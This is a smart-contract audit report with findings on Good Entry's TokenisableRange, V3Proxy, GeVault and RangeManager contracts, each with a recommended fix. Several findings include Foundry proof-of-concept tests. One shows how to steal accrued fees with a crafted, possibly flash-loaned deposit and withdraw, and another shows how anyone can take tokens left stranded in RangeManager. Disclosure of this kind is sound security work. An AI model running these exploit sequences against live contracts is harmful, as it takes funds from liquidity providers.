Good Entry - 3docSec's results

Lines of code

https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L190 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L268

Vulnerability details

The TokenisableRange is designed to always collect trading fees from the Uniswap V3 pool, whenever there is a liquidity event (deposit or withdraw). These fees may be reinvested in the pool, or may be held in form of fee0 and fee1 ERC-20 balance held by the TokenisableRange contract.

When a user deposits liquidity in the range, they pay asset tokens, and receive back liquidity tokens, which give them a share of the TokenisableRange assets (liquidity locked in Unisvap V3, plus fee0, and fee1).

To prevent users from stealing fees, there are several mechanisms in place:

1. fees are, as said, always collected whenever liquidity is added or removed, and whenever they exceed 1% of the liquidity in the pool, they are re-invested in Uniswap V3. The intention of this check seems to be limiting the value locked in these fees
2. whenever a user deposits liquidity to the range, the LP tokens given to them are scaled down by the value of the fees, so the participation in fees "is not given away for free"

Both of these mechanisms can however be worked around:

1. the 1% check is done on the fee0 and fee1 amounts compared to the theoretical pool amounts, and not on the total value of the fees as compared to the total value locked in the pool. This means that when the price changes significantly from when fees were accumulated, the combined value of the fees can exceed, potentially by much, the 1% intended cap, without the reinvestment happening before liquidity events. A malicious user can then monitor and act in such market conditions.
2. the downscaling of the LP tokens minted to the user happens only if none of the provided liquidity is added to the pool fees instead of the Uniswap V3 position. The user can send just a few wei's of tokens to short-circuit the downscaling, and have a share of fees "for free".

Impact

Given a TokenisableRange contract in the right state (high value locked in fees, but still no reinvestment happening) a user can maliciously craft a deposit and withdraw sequence (why not, with flash-loaned assets) to steal most of the fees (fee0, fee1) held by the pool before distribution.

Proof of Concept

Below is a working PoC that shows under real market conditions how most of the fees (>3% of the pool assets) can be s stolen risk-free by simply depositing and withdrawing a large quantity of liquidity:

    function testStolenFeesPoc() public {
        vm.createSelectFork(
            "mainnet",
            17811921
        );

        vm.prank(tokenWhale);
        USDC.transfer(alice, 100_000e6);

        vm.startPrank(alice);
        TokenisableRange tr = new TokenisableRange();

        // out of range: WETH is more valuable than that (about 1870 USDC on this block 17811921); 
        // the pool will hold 0 WETH
        tr.initProxy(AaveOracle, USDC, WETH, 500e10, 1000e10, "Test1", "T1", false);

        USDC.approve(address(tr), 100_000e6);
        tr.init(100_000e6, 0);

        // time passes, and the pool trades in range, accumulating fees
        uint256 fee0 = 1_000e6;
        uint256 fee1 = 2e18;

        vm.mockCall(address(UniswapV3UsdcNFPositionManager), 
            abi.encodeWithSelector(INonfungiblePositionManager.collect.selector), 
            abi.encode(fee0, fee1));

        vm.stopPrank();
        vm.startPrank(tokenWhale);
        USDC.transfer(address(tr), fee0);
        WETH.transfer(address(tr), fee1);

        // now the price is back to 1870 USDC,
        // the undistributed fees are 1k USDC and 2 WETH, 
        // in total about $5k or 5% of the pool value 
        // (the percentage can be higher with bigger price swings)
        // but still, they are not reinvested
        tr.claimFee();
        vm.clearMockedCalls();
        require(tr.fee0() != 0);
        require(tr.fee1() != 0);

        // an attacker now can flashloan & deposit an amount that will give them
        // the majority of the pool liquidity, then withdraw for a profit
        uint256 usdcBalanceBefore = USDC.balanceOf(tokenWhale);
        uint256 wethBalanceBefore = WETH.balanceOf(tokenWhale);
        uint256 poolSharesBefore = tr.balanceOf(tokenWhale);

        USDC.approve(address(tr), 10_000_000e6);
        // this is the hack: we add just a tiny little bit of WETH so TokenisableRange doesn't
        // count the value locked in fees in assigning the LP tokens
        WETH.approve(address(tr), 1000);
        uint256 deposited = tr.deposit(10_000_000e6, 1000);
        tr.withdraw(deposited, 0, 0);

        // the profit here is
        // 1 wei of USDC lost, probably to rounding
        console2.log(int(USDC.balanceOf(tokenWhale)) - int(usdcBalanceBefore)); 
        // 1.58 WETH of profit, which is most of the fees, 
        // and definitely more than 1% of the pool. Yay! 
        console2.log(int(WETH.balanceOf(tokenWhale)) - int(wethBalanceBefore));
        require(poolSharesBefore ==  tr.balanceOf(tokenWhale));
    }

It is important to note that since the WETH oracle price at the forked block (17811921) is at 1870, above the 500-1000 range, the above PoC works only after fixing my other finding titled:

Incorrect Solidity version in FullMath.sol can cause permanent freezing of assets for arithmetic underflow-induced revert

Tools Used

Code review

Recommended Mitigation Steps

• factor in also the token prices when calculating whether the accrued fees are indeed 1% of the pool
• when minting TokenisableRange tokens, always downscale the minted fees by the relative value of non-distributed fees in the pool:

    // Stack too deep, so localising some variables for feeLiquidity calculations 
-    // If we already clawed back fees earlier, do nothing, else we need to adjust returned liquidity
-    if ( newFee0 == 0 && newFee1 == 0 ){
+    {
      uint256 TOKEN0_PRICE = ORACLE.getAssetPrice(address(TOKEN0.token));
      uint256 TOKEN1_PRICE = ORACLE.getAssetPrice(address(TOKEN1.token));
      require (TOKEN0_PRICE > 0 && TOKEN1_PRICE > 0, "Invalid Oracle Price");
      // Calculate the equivalent liquidity amount of the non-yet compounded fees
      // Assume linearity for liquidity in same tick range; calculate feeLiquidity equivalent and consider it part of base liquidity 
      feeLiquidity = newLiquidity * ( (fee0 * TOKEN0_PRICE / 10 ** TOKEN0.decimals) + (fee1 * TOKEN1_PRICE / 10 ** TOKEN1.decimals) )   
                                    / ( (added0   * TOKEN0_PRICE / 10 ** TOKEN0.decimals) + (added1   * TOKEN1_PRICE / 10 ** TOKEN1.decimals) ); 
    }

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L174

Vulnerability details

The V3Proxy swapTokensForExactETH function swaps an unspecified amount of a given ERC-20 for a specified amount of the native currency. After the swap happens, however, the difference between the amount taken from the caller (amountInMax) and the actual swapped amount (amounts[0]) is not given back to the caller and remains locked in the contract.

Impact

Any user of the swapTokensForExactETH will always pay amountInMax for swaps even if part of it was not used for the swap. This part is lost, locked in the V3Proxy contract.

Proof of Concept

• call swapTokensForExactETH with an excessively high amountInMax
• check that any extra input tokens are sent back - this check will fail

    function testV3ProxyKeepsTheChange() public {
        IQuoter q = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);
        ISwapRouter r = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);

        V3Proxy v3proxy = new V3Proxy(r, q, 500);
        vm.label(address(v3proxy), "V3Proxy");

        address[] memory path = new address[](2);
        path[0] = address(USDC);
        path[1] = address(WETH);

        address[] memory path2 = new address[](2);
        path2[0] = address(WETH);
        path2[1] = address(USDC);


        // fund Alice
        vm.prank(tokenWhale);
        USDC.transfer(alice, 1870e6);

        // Alice initiates a swap
        uint256[] memory amounts; 
        uint256 balanceUsdcBefore = USDC.balanceOf(alice);
        uint256 balanceBefore = alice.balance;
        vm.startPrank(alice);
        USDC.approve(address(v3proxy), 1870e6);
        amounts = v3proxy.swapTokensForExactETH(1e18, 1870e6, path, alice, block.timestamp);

        // we check if the swap was done well
        require(amounts[0] < 1870e6);
        require(amounts[1] == 1e18);
        require(alice.balance == balanceBefore + amounts[1]); 
        // the following check fails, but would pass if swapTokensForExactETH
        // sent back the excess tokens
        require(USDC.balanceOf(alice) == balanceUsdcBefore - amounts[0], 
            "Unused input tokens were not sent back!");
    }

Tools Used

Code review

Recommended Mitigation Steps

Send back the excess tokens:

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) payable external returns (uint[] memory amounts) {
        require(path.length == 2, "Direct swap only");
        require(path[1] == ROUTER.WETH9(), "Invalid path");
        ERC20 ogInAsset = ERC20(path[0]);
        ogInAsset.safeTransferFrom(msg.sender, address(this), amountInMax);
        ogInAsset.safeApprove(address(ROUTER), amountInMax);
        amounts = new uint[](2);
        amounts[0] = ROUTER.exactOutputSingle(ISwapRouter.ExactOutputSingleParams(path[0], path[1], feeTier, address(this), deadline, amountOut, amountInMax, 0));         
        amounts[1] = amountOut; 
        ogInAsset.safeApprove(address(ROUTER), 0);
        IWETH9 weth = IWETH9(ROUTER.WETH9());
        acceptPayable = true;
        weth.withdraw(amountOut);
        acceptPayable = false;
        payable(msg.sender).call{value: amountOut}("");
+        ogInAsset.safeTransfer(msg.sender, amountInMax - amounts[0]);
        emit Swap(msg.sender, path[0], path[1], amounts[0], amounts[1]); 
    }

Assessed type

ERC20

Lines of code

https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L227 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L227 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L240 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L187 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L338 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/lib/FullMath.sol#L2

Vulnerability details

TokenisableRange makes use of the LiquidityAmounts.getAmountsForLiquidity helper function in its returnExpectedBalanceWithoutFees, getTokenAmountsExcludingFees and deposit functions to convert UniswapV3 pool liquidity into estimated underlying token amounts.

This function getAmountsForLiquidity will trigger an arithmetic underflow whenever sqrtRatioX96 is smaller than sqrtRatioAX96, causing these functions to revert until this ratio comes back in range and the math no longer overflows.

Such oracle price conditions are not only possible but also likely to happen in real market conditions, and they can be permanent (i.e. one asset permanently appreciating over the other one).

Moving up the stack, assuming that LiquidityAmounts.getAmountsForLiquidity can revert (which is shown in the below PoC with real-world conditions), both the returnExpectedBalanceWithoutFees and getTokenAmountsExcludingFees functions can revert. In particular, the former is called by the claimFee() function, which is always called when depositing and withdrawing liquidity.

The root cause of this issue is that the FullMath.sol library, imported from UniswapV3 was altered to build with solidity v0.8.x, which has under/overflow protection; the library, however, makes use of these by design, so it won't work properly when compiled in v0.8.0 or later:

/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {

Impact

When the fair exchange price of the pool backing the TokenisableRange's falls outside the range (higher side), the deposit and withdraw will always revert, locking the underlying assets in the pool until the price swings to a different value that does not trigger an under/overflow. If the oracle price stays within this range indefinitely, the funds are permanently locked.

Proof of Concept

I'll prove that permanent freezing can happen in two steps:

• first I'll show one condition where the underflow happens
• then, I'll set up a fuzz test to prove that given an A and B ticker, we cannot find a market price lower than A such that the underflow does not happen

The most simple way to prove the first point is by calling LiquidityAmounts.getAmountsForLiquidity in isolation with real-world values:

    function testGetAmountsForLiquidityRevert() public {
        // real-world value: it's in fact the value returned by
        // V3_FACTORY.getPool(USDC, WETH, 500).slot0();
        // at block 17811921; it is around 1870 USDC per WETH
        uint160 sqrtRatioX96 = 1834502451234584391374419429242405;

        // start price and end corresponding to 1700 to 1800 USDC per WETH
        uint160 sqrtRatioAX96 = 1866972058592130739290643700340936;
        uint160 sqrtRatioBX96 = 1921904167735311150677430952623492;

        vm.expectRevert();
        LiquidityAmounts.getAmountsForLiquidity(sqrtRatioX96, sqrtRatioAX96, sqrtRatioBX96, 1e18);
    }

However, a more integrated test that involves PositionManager can also be considered:

    function testPocReturnExpectedBalanceUnderflow() public {
        vm.createSelectFork(
            "mainnet",
            17811921
        );
        vm.startPrank(tokenWhale);
        TokenisableRange tr = new TokenisableRange();
        tr.initProxy(AaveOracle, USDC, WETH, 1700e10, 1800e10, "Test1", "T1", false);
        USDC.approve(address(tr), 100_000e6);
        tr.init(100_000e6, 0);
        vm.expectRevert();
        tr.returnExpectedBalance(0, 0);
    }

Then, we can prove the second point with a negative fuzz test:

    function testFailPermanentFreeze(uint160 sqrtRatioX96) public {
        // start & and price, corresponding to 1700 to 1800 USDC per WETH
        uint160 sqrtRatioAX96 = 1866972058592130739290643700340936;
        uint160 sqrtRatioBX96 = 1921904167735311150677430952623492;

        // make sure that the market ratio is lower than the lower ticker
        // that is the range where I first observed the underflow
        // (WETH above 1800 USDC)
        sqrtRatioX96 = sqrtRatioX96 % (sqrtRatioAX96 - 1);

        // expect a revert here
        LiquidityAmounts.getAmountsForLiquidity(sqrtRatioX96, sqrtRatioAX96, sqrtRatioBX96, 1e18);
    }

Tools Used

IDE, Foundry

Recommended Mitigation Steps

Restore the original FullMath.sol library so it compiles with solc versions earlier than 0.8.0.

// SPDX-License-Identifier: GPL-3.0
- pragma solidity ^0.8.4;
+ pragma solidity >=0.4.0 <0.8.0;

/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits

Another possible option, which is however not recommended, is to enclose the non-assembly statements of FullMath.sol in an unchecked block.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L119 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L130 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L142 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L151 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L156 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L174 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/helper/V3Proxy.sol#L192

Vulnerability details

V3Proxy.sol provides an adapter layer between different token-swapping interfaces. Most of the swapping functions offer a to argument that serves as the beneficiary for the swapped tokens. However, the tokens are always swapped in favor of msg.sender.

Impact

If it's a contract that calls these swap functions, and this contract does not have the necessary methods to rescue ERC-20 and native tokens, the swapped tokens will be permanently locked in the caller contract.

Proof of Concept

The following contract shows a worst-case scenario happening from the non-honored contract of using "to" as recipient:

contract LockingContract {
  V3Proxy immutable v3Proxy;
  ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
  ERC20 USDC = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

  constructor (address _v3Proxy) {
    v3Proxy = V3Proxy(_v3Proxy);
  }

  function swapTokens() external {
    address[] memory path = new address[](2);
    address[0] = address(USDC);
    address[1] = address(WETH);
    v3Proxy.swapExactTokensForTokens(1000e6, 0.5e18, path, msg.sender, block.timestamp);
  }
}

Tools Used

Code review

Recommended Mitigation Steps

Either:

• make the V3Proxy revert if to != msg.sender or
• call the V3 swap functions passing to as beneficiary instead of msg.sender

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L431 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L357-L358

Vulnerability details

GeVault stores the TokenisableRange instances it operates on in an ordered array:

  TokenisableRange[] public ticks;

Whenever a rebalancing happens, the GeVault contract withdraws all its liquidity and redeploys it on at most four ticks, starting from (and including) the one identified by the getActiveTickIndex function:

  function deployAssets() internal { 
    uint newTickIndex = getActiveTickIndex();
    // [...]
    uint tick0Index = newTickIndex;
    uint tick1Index = newTickIndex + 2;
    // [...] 
      depositAndStash(ticks[tick0Index], availToken0 / 2, 0);
      depositAndStash(ticks[tick0Index+1], availToken0 / 2, 0);
    // [...]
      depositAndStash(ticks[tick1Index], 0, availToken1 / 2);
      depositAndStash(ticks[tick1Index+1], 0, availToken1 / 2);

However, the getActiveTickIndex(), given that the termination condition of its for loop, can return indices up to ticks.length - 3, included (because the increment of activeTickIndex that made the boundary check fail is kept):

  /// @notice Return first valid tick
  function getActiveTickIndex() public view returns (uint activeTickIndex) {
    if (ticks.length >= 5){
      // looking for index at which the underlying asset differs from the next tick
      for (activeTickIndex = 0; activeTickIndex < ticks.length - 3; activeTickIndex++){
        // [...]
        if ( /* ... */ )
          break;
      }
    }
  }

So the highest value it can possibly return is ticks.length - 3. If we take this value and project where rebalance() will deploy assets, we'll have the ticks at the four indices: [ticks.length - 3, ticks.length - 2, ticks.length - 1, ticks.length], and the last value will overflow, causing the rebalancing, and the liquidity operation that triggered it (if any) to fail.

Impact

Whenever the market is such that the getActiveTickIndex returns the last possible index, the contract will revert on any rebalance, deposit, and more importantly withdraw operations. Despite the impact including locking assets, this finding is reported as medium severity because the protocol governance could resolve the situation by adding extra ticks & rescue the assets without requiring a contract code upgrade.

Proof of Concept

I have a running PoC in my environment, which I will keep aside and will be happy to provide if requested, but I would rather not share it because it's a monstrous setup with a couple of workarounds to not make it even worse.

High level my setup is:

• set up a GeVault with 6 ranges, most of which are mostly at higher prices than the market:
  • range at index 0 at 3001-3250 (implicit, e10)
  • 1 at 2751-3000
  • 2 at 2501-2750
  • 3 at 2251-2500
  • 4 at 2001-2250
  • 5 at 1751-2000
  • with USDC/WETH at 1870 (I forked mainnet at block 17811921)
  • call getActiveTickIndex() which will return 3 (higher than 2, which is the max value that would not make the fund deployment go out of range)
  • deposit some WETH - this will revert out of bounds

Tools Used

Code review, IDE, foundry

Recommended Mitigation Steps

Decrease by 1 the loop boundaries:

  /// @notice Return first valid tick
  function getActiveTickIndex() public view returns (uint activeTickIndex) {
    if (ticks.length >= 5){
      // looking for index at which the underlying asset differs from the next tick
-      for (activeTickIndex = 0; activeTickIndex < ticks.length - 3; activeTickIndex++){
+      for (activeTickIndex = 0; activeTickIndex < ticks.length - 4; activeTickIndex++){

        (uint amt0, uint amt1) = ticks[activeTickIndex+1].getTokenAmountsExcludingFees(1e18);
        (uint amt0n, uint amt1n) = ticks[activeTickIndex+2].getTokenAmountsExcludingFees(1e18);
        if ( (amt0 == 0 && amt0n > 0) || (amt1 == 0 && amt1n > 0) )
          break;
      }
    }
  }

Or use a dedicated loop variable, and explicitly return the correct value.

Assessed type

Loop

    if (availToken0 > 0){
      depositAndStash(ticks[tick0Index], availToken0 / 2, 0);
      depositAndStash(ticks[tick0Index+1], availToken0 / 2, 0);
    }
    if (availToken1 > 0){
      depositAndStash(ticks[tick1Index], 0, availToken1 / 2);
+    if (tick1Index+1 < ticks.length)
      depositAndStash(ticks[tick1Index+1], 0, availToken1 / 2);
    }

Lines of code

https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/RangeManager.sol#L100 https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/TokenisableRange.sol#L159

Vulnerability details

Impact

When RangeManager initializes a TokenisableRange, it provides it with the asset tokens required to initiate a position on UniswapV3. Due to slippage, however, some asset tokens may be left unused, and TokenisableRange correctly sends them back to the init caller. However, when the init caller is RangeManager, these tokens are not forwarded back to the RangeManager caller, and remain stuck in the contract.

At this point, RangeManager holds a balance in tokens, and these can be stolen by anybody i.e. by calling removeFromStep that will deposit these assets on the lending pool at the caller's name, ready for withdrawal.

Proof of Concept

The following PoC shows how alice can steal the leftover USDC from operator:

    function testPocInitPoolCrumbs() public {
        vm.startPrank(operator);
        uint128 startX10 = 700 * 1e10;
        uint128 endX10 = 5100 * 1e10;

        rangeManager.generateRange(startX10, endX10, "Below", "Above", address(rangeBeacon));
        range = rangeManager.tokenisedRanges(0);
        ticker = rangeManager.tokenisedTicker(0);
        vm.label(address(range), "range");
        vm.label(address(ticker), "ticker");

        USDC.approve(address(rangeManager), type(uint256).max);
        WETH.approve(address(rangeManager), type(uint256).max);
        rangeManager.initRange(address(range), 1850e6, 1e18);
        vm.stopPrank();

        require(0 != USDC.balanceOf(address(rangeManager)));

        vm.prank(alice);
        rangeManager.removeAssetsFromStep(0);
        
        require(0 == USDC.balanceOf(address(rangeManager)));
    }

Tools Used

Code review

Recommended Mitigation Steps

Transfer back the assets after the TokenisableRange is initialized:

  /// @notice Initialize a previously created ticker
  /// @param tr Range address
  /// @param amount0 Amount of token0
  /// @param amount1 Amount of token1
  function initRange(address tr, uint amount0, uint amount1) external onlyOwner {
    ASSET_0.safeTransferFrom(msg.sender, address(this), amount0);
    ASSET_0.safeIncreaseAllowance(tr, amount0);
    ASSET_1.safeTransferFrom(msg.sender, address(this), amount1);
    ASSET_1.safeIncreaseAllowance(tr, amount1);
    TokenisableRange(tr).init(amount0, amount1);
    ERC20(tr).safeTransfer(msg.sender, TokenisableRange(tr).balanceOf(address(this)));
+    ASSET_0.safeTransfer(msg.sender, ASSET_0.balanceOf(address(this)));
+    ASSET_1.safeTransfer(msg.sender, ASSET_1.balanceOf(address(this)));
  }

Assessed type

ERC20

[Low] PositionManager.checkSetAllowance can overflow & make the functions using allowance unusable

The function PositionManager.checkSetAllowance increases the current allowance of a given address by type(uint256).max. When this allowance is non-zero at the time of the call, the increase will cause an overflow because the max uint256 is added to the pre-approved allowance. Consider using safeApprove instead, because this does not operate a sum that can overflow.

[Low] RangeManager.removeFromStep reverts if one between the ticker and the range is not present in the lending pool

In RangeManager.removeFromStep the code assumes that both TokenisedRanges are initialized and added to the lending pool. This may not be true as for certain ranges, only the range or the ticker may be interesting, so it may be worth adding a check on whether LENDING_POOL.getReserveData(address(tokenisedRanges[step])).aTokenAddress == address(0) and LENDING_POOL.getReserveData(address(tokenisedTicker[step])).aTokenAddress == address(0)

[Low] TokenisableRange.deposit should use safeTransferFrom instead of transferFrom

Using safeTransferFrom in TokenisableRange's deposit function (similarly to how it's done in other parts of the codebase) ensures the call does not when dealing with non-standard tokens:

  function deposit(uint256 n0, uint256 n1) external nonReentrant returns (uint256 lpAmt) {
    // Once all assets were withdrawn after initialisation, this is considered closed
    // Prevents TR oracle values from being too manipulatable by emptying the range and redepositing 
    require(totalSupply() > 0, "TR Closed"); 
    
    claimFee();
-    TOKEN0.token.transferFrom(msg.sender, address(this), n0);
-    TOKEN1.token.transferFrom(msg.sender, address(this), n1);
+    TOKEN0.token.safeTransferFrom(msg.sender, address(this), n0);
+    TOKEN1.token.safeTransferFrom(msg.sender, address(this), n1);

    uint newFee0; 
    uint newFee1;

[Low] RangeManager's constructor does not check for asset0 and asset1

Consider adding a check for these to not equal address(0).

[Low] RangeManager's non-overlap check is inconsistent with GeVault's

The contract RangeManager allows for TokenisableRange instances that overlap at the lower/higher tick:

    for (uint i = 0; i < len; i++) {
      if (start >= stepList[i].end || end <= stepList[i].start) {
        continue;
      }
      revert("Range overlap");
    } 

however, GeVault does not allow for exact overlaps at the boundaries:

      if (baseTokenIsToken0) 
        require( t.lowerTick() > ticks[ticks.length-1].upperTick(), "GEV: Push Tick Overlap");
      else 
        require( t.upperTick() < ticks[ticks.length-1].lowerTick(), "GEV: Push Tick Overlap");
      // [...]
      if (!baseTokenIsToken0) 
        require( t.lowerTick() > ticks[0].upperTick(), "GEV: Shift Tick Overlap");
      else 
        require( t.upperTick() < ticks[0].lowerTick(), "GEV: Shift Tick Overlap");

It is recommended to double-check whether either constitutes an off-by-one error.

[Low] GeVault's 'modifyTick' allows inserting out-of-order TokenisableRange instances

The modifyTick function is inconsistent with the other GeVault's functions. While both pushTick and shiftTick maintain ordering and non-overlap consistency of the ticks array, modifyTick doesn't. This can cause the deployAssets function to malfunction since this function assumes the correct ordering of the ticks.

[Informational] FixedOracle.sol contains the HardcodedPriceOracle contract. Consider matching these names

It's a best practice to match the contract name with the Solidity file name. Consider renaming either the file or the contract.

[Informational] FixedOracle.sol has no licensing information

Consider adding licensing info to FixedOracle.sol.

[Informational] Documentation of TokenisableRange.returnExpectedBalance is misleading

The returnExpectedBalance documentation in comment mentions the balance excludes fees, which are in fact included:

-  /// @notice Calculate the balance of underlying assets based on the assets price, excluding fees
+  /// @notice Calculate the balance of underlying assets based on the assets price, including fees
  function returnExpectedBalance(uint TOKEN0_PRICE, uint TOKEN1_PRICE) public view returns (uint256 amt0, uint256 amt1) {
    (amt0, amt1) = returnExpectedBalanceWithoutFees(TOKEN0_PRICE, TOKEN1_PRICE);
    amt0 += fee0;
    amt1 += fee1;
  }

[Informational] V3Proxy does not need to inherit from the NonReentrant contract

V3Proxy does not seem to use the nonReentrant modifier, so it does not need to inherit from the NonReentrant contract

[Informational] for loop in OptionsPositionManager.liquidate can be removed

When OptionsPositionManager prepares its call to the LP to liquidate a position, it fills an array with zeros via a for loop. This is an unnecessary step because the values are already zero at initialization.